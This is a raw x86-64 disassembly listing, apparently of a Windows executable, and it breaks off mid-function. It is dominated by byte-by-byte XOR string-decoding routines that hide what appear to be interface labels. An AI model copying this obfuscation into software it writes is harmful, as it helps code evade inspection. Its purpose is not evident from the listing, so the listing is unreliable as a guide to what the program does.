mov r10b, Ordinal_33
mov r11b, WSACleanup
mov bl, 0x7a
mov dil, WSAStartup
mov sil, 0x6a
mov r14b, 0x6c
xor al, 0x3f
mov byte [rbp + 0x731], al
xor cl, 0x3f
mov byte [rbp + 0x732], cl
xor dl, 0x3f
mov byte [rbp + 0x733], dl
xor r8b, 0x3f
mov byte [rbp + 0x734], r8b
xor r9b, 0x3f
mov byte [rbp + 0x735], r9b
xor r10b, 0x3f
mov byte [rbp + 0x736], r10b
xor r11b, 0x3f
mov byte [rbp + 0x737], r11b
xor bl, 0x3f
mov byte [rbp + 0x738], bl
xor dil, 0x3f
mov byte [rbp + 0x739], dil
xor sil, 0x3f
mov byte [rbp + 0x73a], sil
xor r14b, 0x3f
mov byte [rbp + 0x73b], r14b
mov byte [rbp + 0x73c], r13b
lea rdx, [0x14016013c]
lea rcx, [rbp + 0x731]
call fcn.140082b60
xor ecx, ecx
call fcn.140047120
test al, al
je 0x140024a25
movdqa xmm0, xmmword [0x14014c110]
movdqa xmmword [rbp + 0x6c0], xmm0
movdqa xmm1, xmmword [0x14014c0c0]
movdqa xmmword [rbp + 0x6d0], xmm1
movdqa xmm0, xmmword [0x14014bb50]
movdqa xmmword [rbp + 0x6e0], xmm0
movdqa xmm1, xmmword [0x14014c0d0]
movdqa xmmword [rbp + 0x6f0], xmm1
mov dword [rbp + 0x700], 0x706d766c
mov word [rbp + 0x704], 0x2b7b
xor eax, eax
mov byte [rbp + 0x706], al
xor ecx, ecx
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c1], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c2], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c3], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c4], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c5], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c6], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c7], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c8], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6c9], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6ca], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6cb], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6cc], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6cd], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6ce], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6cf], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d0], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d1], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d2], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d3], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d4], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d5], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d6], al
movzx eax, byte [rbp + 0x6c0]
xor byte [rbp + rcx + 0x6d7], al
add rcx, 0x17
cmp rcx, 0x45
jb 0x1400248c2
mov byte [rbp + 0x706], r13b
lea rcx, [rbp + 0x6c1]
call fcn.140056580
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp + 0x5c0], reloc.WS2_32.dll_gethostname
mov al, 0x69
mov cl, 0x6b
mov dl, reloc.WS2_32.dll_WSASetLastError
mov r8b, reloc.WS2_32.dll_WSACleanup
movzx r9d, dl
mov r10b, 0x77
mov r11b, 0x7e
xor ebx, ebx
xor al, 0x39
mov byte [rbp + 0x5c1], al
xor cl, 0x39
mov byte [rbp + 0x5c2], cl
xor dl, 0x39
mov byte [rbp + 0x5c3], dl
xor r8b, 0x39
mov byte [rbp + 0x5c4], r8b
xor r9b, 0x39
mov byte [rbp + 0x5c5], r9b
xor r10b, 0x39
mov byte [rbp + 0x5c6], r10b
xor r11b, 0x39
mov byte [rbp + 0x5c7], r11b
mov byte [rbp + 0x5c8], bl
lea rdx, [0x1401614d4]
lea rcx, [rbp + 0x5c1]
call fcn.140082b60
xor ecx, ecx
call fcn.140047120
test al, al
je 0x140024b49
movdqa xmm0, xmmword [0x14014bcf0]
movdqa xmmword [rbp + 0x8d0], xmm0
movdqa xmm1, xmmword [0x14014c2e0]
movdqa xmmword [rbp + 0x8e0], xmm1
movdqa xmm0, xmmword [0x14014bd00]
movdqa xmmword [rbp + 0x8f0], xmm0
movdqa xmm1, xmmword [0x14014c1e0]
movdqa xmmword [rbp + 0x900], xmm1
movdqa xmm0, xmmword [0x14014c1f0]
movdqa xmmword [rbp + 0x910], xmm0
mov dword [rbp + 0x920], 0x687f7179
xor eax, eax
mov byte [rbp + 0x924], al
xor ecx, ecx
movzx eax, byte [rbp + 0x8d0]
xor byte [rbp + rcx + 0x8d1], al
inc rcx
cmp rcx, 0x53
jb 0x140024b20
mov byte [rbp + 0x924], bl
lea rcx, [rbp + 0x8d1]
call fcn.140056580
mov byte [rbp + 0x770], 0x58
mov al, 0xa
mov cl, Ordinal_30
mov dl, 0xb
mov r8b, reloc.WS2_32.dll_recvfrom
movzx r9d, dl
mov r10b, listen
mov r11b, 0x78
mov bl, reloc.WS2_32.dll_setsockopt
movzx edi, cl
mov sil, reloc.WLDAP32.dll_Ordinal_22
mov r14b, reloc.WS2_32.dll_listen
movzx r15d, dl
xor al, 0x58
mov byte [rbp + 0x771], al
xor cl, 0x58
mov byte [rbp + 0x772], cl
xor dl, 0x58
mov byte [rbp + 0x773], dl
xor r8b, 0x58
mov byte [rbp + 0x774], r8b
xor r9b, 0x58
mov byte [rbp + 0x775], r9b
xor r10b, 0x58
mov byte [rbp + 0x776], r10b
xor r11b, 0x58
mov byte [rbp + 0x777], r11b
xor bl, 0x58
mov byte [rbp + 0x778], bl
xor dil, 0x58
mov byte [rbp + 0x779], dil
xor sil, 0x58
mov byte [rbp + 0x77a], sil
xor r14b, 0x58
mov byte [rbp + 0x77b], r14b
xor r15b, 0x58
mov byte [rbp + 0x77c], r15b
mov byte [rbp + 0x77d], r13b
lea rdx, [0x14016133c]
lea rcx, [rbp + 0x771]
call fcn.140082b60
xor ecx, ecx
call fcn.140047120
test al, al
je 0x140024ce9
movdqa xmm0, xmmword [0x14014bbf0]
movdqa xmmword [rbp + 0x850], xmm0
movdqa xmm1, xmmword [0x14014c0a0]
movdqa xmmword [rbp + 0x860], xmm1
movdqa xmm0, xmmword [0x14014bc00]
movdqa xmmword [rbp + 0x870], xmm0
movdqa xmm1, xmmword [0x14014bc60]
movdqa xmmword [rbp + 0x880], xmm1
movdqa xmm0, xmmword [0x14014c0b0]
movdqa xmmword [rbp + 0x890], xmm0
movdqa xmm1, xmmword [0x14014bb60]
movdqa xmmword [rbp + 0x8a0], xmm1
movdqa xmm0, xmmword [0x14014bc40]
movdqa xmmword [rbp + 0x8b0], xmm0
mov dword [rbp + 0x8c0], 0x66332823
mov dword [rbp + 0x8c4], 0x23342535
mov dword [rbp + 0x8c8], 0x352823
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbp + 0x850]
xor byte [rbp + rcx + 0x851], al
movzx eax, byte [rbp + 0x850]
xor byte [rbp + rcx + 0x852], al
add rcx, 2
cmp rcx, 0x7a
jb 0x140024cb0
mov byte [rbp + 0x8cb], r13b
lea rcx, [rbp + 0x851]
call fcn.140056580
mov byte [rbp + 0x780], reloc.WLDAP32.dll_Ordinal_32
mov al, 0x62
mov cl, WSAStartup
mov dl, 0x65
mov r8b, 0x61
mov r9b, 0x6b
xor r10b, r10b
movzx r11d, al
mov bl, 0x6c
mov dil, reloc.WS2_32.dll_WSAGetLastError
mov sil, 0x63
movzx r14d, r9b
mov r15b, reloc.WS2_32.dll_WSAStartup
xor al, 0x20
mov byte [rbp + 0x781], al
xor cl, 0x20
mov byte [rbp + 0x782], cl
xor dl, 0x20
mov byte [rbp + 0x783], dl
xor r8b, 0x20
mov byte [rbp + 0x784], r8b
xor r9b, 0x20
mov byte [rbp + 0x785], r9b
xor r10b, 0x20
mov byte [rbp + 0x786], r10b
xor r11b, 0x20
mov byte [rbp + 0x787], r11b
xor bl, 0x20
mov byte [rbp + 0x788], bl
xor dil, 0x20
mov byte [rbp + 0x789], dil
xor sil, 0x20
mov byte [rbp + 0x78a], sil
xor r14b, 0x20
mov byte [rbp + 0x78b], r14b
xor r15b, 0x20
mov byte [rbp + 0x78c], r15b
mov byte [rbp + 0x78d], r13b
lea rdx, [0x1401614d6]
lea rcx, [rbp + 0x781]
call fcn.140082b60
mov r13, qword [rbp + 0x7d8]
cmp dword [0x14016021c], 0
je 0x1400282d6
call fcn.140056200
cvttss2si eax, xmm0
mov dword [0x140161624], eax
cmp dword [0x140161658], 0
je 0x140027d55
lea r14, [r13 + 0xc8]
lea rdx, [r14 + 0x70]
mov ecx, 5
call fcn.140044370
lea rdx, [r14 + 0x30]
mov ecx, 7
call fcn.140044370
lea rcx, [rbp + 0xa00]
call fcn.140055710
movss xmm2, dword [rax + 4]
movss xmm7, dword [0x14014b570]
divss xmm2, xmm7
movaps xmm1, xmm9
lea rcx, [rbp + 0xa08]
call fcn.140005b30
movss xmm0, dword [rax]
movss xmm1, dword [rax + 4]
mov byte [rbp + 0x680], 0x42
mov al, 0x61
movzx ecx, al
mov dl, 0x34
mov r8b, Ordinal_41
mov r9b, reloc.WLDAP32.dll_Ordinal_46
mov r10b, reloc.WLDAP32.dll_Ordinal_45
mov r11b, reloc.WLDAP32.dll_Ordinal_33
mov bl, 0x2b
mov dil, 0x36
mov sil, Ordinal_60
xor r15d, r15d
xor al, 0x42
mov byte [rbp + 0x681], al
xor cl, 0x42
mov byte [rbp + 0x682], cl
xor dl, 0x42
mov byte [rbp + 0x683], dl
xor r8b, 0x42
mov byte [rbp + 0x684], r8b
xor r9b, 0x42
mov byte [rbp + 0x685], r9b
xor r10b, 0x42
mov byte [rbp + 0x686], r10b
xor r11b, 0x42
mov byte [rbp + 0x687], r11b
xor bl, 0x42
mov byte [rbp + 0x688], bl
xor dil, 0x42
mov byte [rbp + 0x689], dil
xor sil, 0x42
mov byte [rbp + 0x68a], sil
mov byte [rbp + 0x68b], r15b
unpcklps xmm0, xmm1
movsd qword [rsp + 0x40], xmm0
movss dword [rsp + 0x38], xmm10
movss dword [rsp + 0x30], xmm9
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
lea r9d, [r15 + 0x64]
xor r8d, r8d
lea rdx, [fcn.14002bc90]
lea rcx, [rbp + 0x681]
call fcn.140093420
cmp byte [0x1401615ac], r15b
je 0x140024f22
cmp byte [0x1401614d7], r15b
je 0x140024f22
movss xmm0, dword [0x14014b4b4]
call fcn.140056330
mov byte [0x1401614d7], r15b
movss xmm3, dword [0x140160110]
cvtps2pd xmm3, xmm3
movss xmm2, dword [0x140160204]
cvtps2pd xmm2, xmm2
movdqa xmm1, xmmword [str.Q_t_vkqt]
movdqu xmmword [rbp + 0x3c8], xmm1
mov dl, 0x62
mov r8b, gethostname
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x3c9], al
xor byte [rbp + 0x3ca], cl
xor byte [rbp + 0x3cb], cl
xor byte [rbp + 0x3cc], cl
xor byte [rbp + 0x3cd], cl
xor byte [rbp + 0x3ce], cl
xor byte [rbp + 0x3cf], cl
xor byte [rbp + 0x3d0], cl
xor byte [rbp + 0x3d1], cl
xor byte [rbp + 0x3d2], cl
xor byte [rbp + 0x3d3], cl
xor byte [rbp + 0x3d4], cl
xor byte [rbp + 0x3d5], cl
xor byte [rbp + 0x3d6], cl
xor byte [rbp + 0x3d7], cl
xor dl, cl
mov byte [rbp + 0x3d8], dl
xor r8b, cl
mov byte [rbp + 0x3d9], r8b
mov byte [rbp + 0x3da], r15b
movq r9, xmm3
movq r8, xmm2
lea rdx, [rbp + 0x3c9]
lea rcx, [rbp + 0xcf8]
call fcn.1400806b0
call fcn.140083870
mov ecx, 2
call fcn.1400443d0
lea rdx, [rbp + 0xcf8]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140044370
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [0x140160148]
movss xmm2, dword [0x140160144]
movss xmm1, dword [0x140160140]
lea rcx, [rbp + 0xb08]
call fcn.140005b40
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140044370
cmp byte [0x140161514], r15b
jne 0x14002694a
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x140025e04
movss xmm0, dword [0x140160204]
mulss xmm0, xmm13
movss dword [0x140160338], xmm0
movss xmm1, dword [0x140160110]
mulss xmm1, xmm13
movss dword [0x140160348], xmm1
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x140025a23
movaps xmm0, xmm8
call fcn.140055340
mov byte [rbp + 0x90], Ordinal_50
mov dl, 0x25
lea rcx, [rbp + 0x90]
call fcn.14002c170
mov byte [rbp + 0x91], al
mov dl, 0x33
lea rcx, [rbp + 0x90]
call fcn.14002c170
mov byte [rbp + 0x92], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x90]
call fcn.14002c170
mov byte [rbp + 0x93], al
mov dl, Ordinal_50
lea rcx, [rbp + 0x90]
call fcn.14002c170
mov byte [rbp + 0x94], al
mov dl, 0x66
lea rcx, [rbp + 0x90]
call fcn.14002c170
mov byte [rbp + 0x95], al
mov dl, 0x25
lea rcx, [rbp + 0x90]
call fcn.14002c170
mov byte [rbp + 0x96], al
mov dl, 0x25
lea rcx, [rbp + 0x90]
call fcn.14002c170
mov byte [rbp + 0x97], al
xor eax, eax
mov byte [rbp + 0x98], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x91]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x90]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x91]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x140025140
mov edx, 7
lea rcx, [rbp + 0x91]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x91]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x140], 0x41
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x141], al
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x142], al
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x143], al
mov dl, 0x69
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x144], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x145], al
mov dl, 0x65
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x146], al
mov dl, 0x61
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x147], al
mov dl, WSAStartup
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x148], al
mov dl, 0x5f
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x149], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x14a], al
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x14b], al
mov dl, 0x69
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x14c], al
mov dl, 0x64
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x14d], al
mov dl, 0x65
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x14e], al
mov dl, WSAStartup
lea rcx, [rbp + 0x140]
call fcn.14002c170
mov byte [rbp + 0x14f], al
xor eax, eax
mov byte [rbp + 0x150], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x141]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x140]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x141]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xf
jb 0x1400252e0
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x141]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x141]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x140160338]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140025391
movss xmm0, dword [0x140160338]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss xmm1, dword [0x140160348]
mulss xmm1, xmm12
movss dword [0x140160110], xmm1
mov byte [0x1401613cf], 1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rsp + 0x7c], 0x49
mov dl, 0x25
lea rcx, [rsp + 0x7c]
call fcn.14002c170
mov byte [rsp + 0x7d], al
mov dl, 0x33
lea rcx, [rsp + 0x7c]
call fcn.14002c170
mov byte [rsp + 0x7e], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x7c]
call fcn.14002c170
mov byte [rsp + 0x7f], al
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rsp + 0x7c]
call fcn.14002c170
mov byte [rbp - 0x80], al
mov dl, 0x66
lea rcx, [rsp + 0x7c]
call fcn.14002c170
mov byte [rbp - 0x7f], al
xor eax, eax
mov byte [rbp - 0x7e], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rsp + 0x7d]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rsp + 0x7c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x7d]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x140025400
mov edx, 5
lea rcx, [rsp + 0x7d]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rsp + 0x7d]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x28], 0x4b
mov dl, 0x4c
lea rcx, [rbp + 0x28]
call fcn.14002c170
mov byte [rbp + 0x29], al
mov dl, 0x49
lea rcx, [rbp + 0x28]
call fcn.14002c170
mov byte [rbp + 0x2a], al
mov dl, Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.14002c170
mov byte [rbp + 0x2b], al
mov dl, 0x45
lea rcx, [rbp + 0x28]
call fcn.14002c170
mov byte [rbp + 0x2c], al
mov dl, 0x41
lea rcx, [rbp + 0x28]
call fcn.14002c170
mov byte [rbp + 0x2d], al
mov dl, 0x52
lea rcx, [rbp + 0x28]
call fcn.14002c170
mov byte [rbp + 0x2e], al
xor eax, eax
mov byte [rbp + 0x2f], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x29]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x28]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x29]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x1400254b4
mov edx, 6
lea rcx, [rbp + 0x29]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x29]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm10
movss xmm6, dword [0x14014b484]
movaps xmm2, xmm6
lea rdx, [0x140160338]
mov rcx, rax
call fcn.140087db0
test al, al
je 0x14002555d
movss xmm0, dword [0x140160338]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss xmm1, dword [0x140160348]
mulss xmm1, xmm12
movss dword [0x140160110], xmm1
mov byte [0x1401613cf], 1
mov byte [rbp + 0x80], 0x48
mov dl, 0x25
lea rcx, [rbp + 0x80]
call fcn.14002c170
mov byte [rbp + 0x81], al
mov dl, 0x33
lea rcx, [rbp + 0x80]
call fcn.14002c170
mov byte [rbp + 0x82], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x80]
call fcn.14002c170
mov byte [rbp + 0x83], al
mov dl, Ordinal_50
lea rcx, [rbp + 0x80]
call fcn.14002c170
mov byte [rbp + 0x84], al
mov dl, 0x66
lea rcx, [rbp + 0x80]
call fcn.14002c170
mov byte [rbp + 0x85], al
mov dl, 0x25
lea rcx, [rbp + 0x80]
call fcn.14002c170
mov byte [rbp + 0x86], al
mov dl, 0x25
lea rcx, [rbp + 0x80]
call fcn.14002c170
mov byte [rbp + 0x87], al
xor eax, eax
mov byte [rbp + 0x88], al
mov rdi, r15
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x81]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x80]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x81]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x140025600
mov edx, 7
lea rcx, [rbp + 0x81]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x81]
call fcn.140006740
mov rsi, rax
mov byte [rbp + reloc.WS2_32.dll_setsockopt8], 0x15
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x159], al
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x15a], al
mov dl, 0x68
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x15b], al
mov dl, 0x65
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x15c], al
mov dl, 0x69
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x15d], al
mov dl, 0x67
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x15e], al
mov dl, 0x68
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x15f], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x160], al
mov dl, 0x5f
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x161], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x162], al
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x163], al
mov dl, 0x69
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x164], al
mov dl, 0x64
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x165], al
mov dl, 0x65
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x166], al
mov dl, WSAStartup
lea rcx, [rbp + 0x158]
call fcn.14002c170
mov byte [rbp + 0x167], al
xor eax, eax
mov byte [rbp + 0x168], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x159]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x158]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x159]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xf
jb 0x1400257a0
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x159]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x159]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x140160348]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140025851
movss xmm0, dword [0x140160338]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss xmm1, dword [0x140160348]
mulss xmm1, xmm12
movss dword [0x140160110], xmm1
mov byte [0x1401613cf], 1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rsp + 0x74], 0x64
mov dl, 0x25
lea rcx, [rsp + 0x74]
call fcn.14002c170
mov byte [rsp + 0x75], al
mov dl, 0x33
lea rcx, [rsp + 0x74]
call fcn.14002c170
mov byte [rsp + 0x76], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x74]
call fcn.14002c170
mov byte [rsp + 0x77], al
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rsp + 0x74]
call fcn.14002c170
mov byte [rsp + 0x78], al
mov dl, 0x66
lea rcx, [rsp + 0x74]
call fcn.14002c170
mov byte [rsp + 0x79], al
xor eax, eax
mov byte [rsp + 0x7a], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rsp + 0x75]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rsp + 0x74]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x75]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x1400258c0
mov edx, 5
lea rcx, [rsp + 0x75]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rsp + 0x75]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x30], 0x54
mov dl, 0x48
lea rcx, [rbp + 0x30]
call fcn.14002c170
mov byte [rbp + 0x31], al
mov dl, 0x45
lea rcx, [rbp + 0x30]
call fcn.14002c170
mov byte [rbp + 0x32], al
mov dl, 0x49
lea rcx, [rbp + 0x30]
call fcn.14002c170
mov byte [rbp + 0x33], al
mov dl, 0x47
lea rcx, [rbp + 0x30]
call fcn.14002c170
mov byte [rbp + 0x34], al
mov dl, 0x48
lea rcx, [rbp + 0x30]
call fcn.14002c170
mov byte [rbp + 0x35], al
mov dl, 0x54
lea rcx, [rbp + 0x30]
call fcn.14002c170
mov byte [rbp + 0x36], al
xor eax, eax
mov byte [rbp + 0x37], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x31]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x30]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x31]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x140025974
mov edx, 6
lea rcx, [rbp + 0x31]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x31]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm10
movaps xmm2, xmm6
lea rdx, [0x140160348]
mov rcx, rax
call fcn.140087db0
test al, al
je 0x140025a15
movss xmm0, dword [0x140160338]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss xmm1, dword [0x140160348]
mulss xmm1, xmm12
movss dword [0x140160110], xmm1
mov byte [0x1401613cf], 1
movaps xmm0, xmm14
call fcn.140055340
jmp 0x140025de2
mov byte [rbp + 0x50], 0x69
mov dl, 0x25
lea rcx, [rbp + 0x50]
call fcn.14002c170
mov byte [rbp + 0x51], al
mov dl, 0x33
lea rcx, [rbp + 0x50]
call fcn.14002c170
mov byte [rbp + 0x52], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x50]
call fcn.14002c170
mov byte [rbp + 0x53], al
mov dl, Ordinal_50
lea rcx, [rbp + 0x50]
call fcn.14002c170
mov byte [rbp + 0x54], al
mov dl, 0x66
lea rcx, [rbp + 0x50]
call fcn.14002c170
mov byte [rbp + 0x55], al
mov dl, 0x25
lea rcx, [rbp + 0x50]
call fcn.14002c170
mov byte [rbp + 0x56], al
mov dl, 0x25
lea rcx, [rbp + 0x50]
call fcn.14002c170
mov byte [rbp + 0x57], al
xor eax, eax
mov byte [rbp + 0x58], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x51]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x50]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x51]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x140025a91
mov edx, 7
lea rcx, [rbp + 0x51]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x51]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x38], 0x63
mov dl, 0x4c
lea rcx, [rbp + 0x38]
call fcn.14002c170
mov byte [rbp + 0x39], al
mov dl, 0x49
lea rcx, [rbp + 0x38]
call fcn.14002c170
mov byte [rbp + 0x3a], al
mov dl, Ordinal_79
lea rcx, [rbp + 0x38]
call fcn.14002c170
mov byte [rbp + 0x3b], al
mov dl, 0x45
lea rcx, [rbp + 0x38]
call fcn.14002c170
mov byte [rbp + 0x3c], al
mov dl, 0x41
lea rcx, [rbp + 0x38]
call fcn.14002c170
mov byte [rbp + 0x3d], al
mov dl, 0x52
lea rcx, [rbp + 0x38]
call fcn.14002c170
mov byte [rbp + 0x3e], al
xor eax, eax
mov byte [rbp + 0x3f], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x39]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x38]
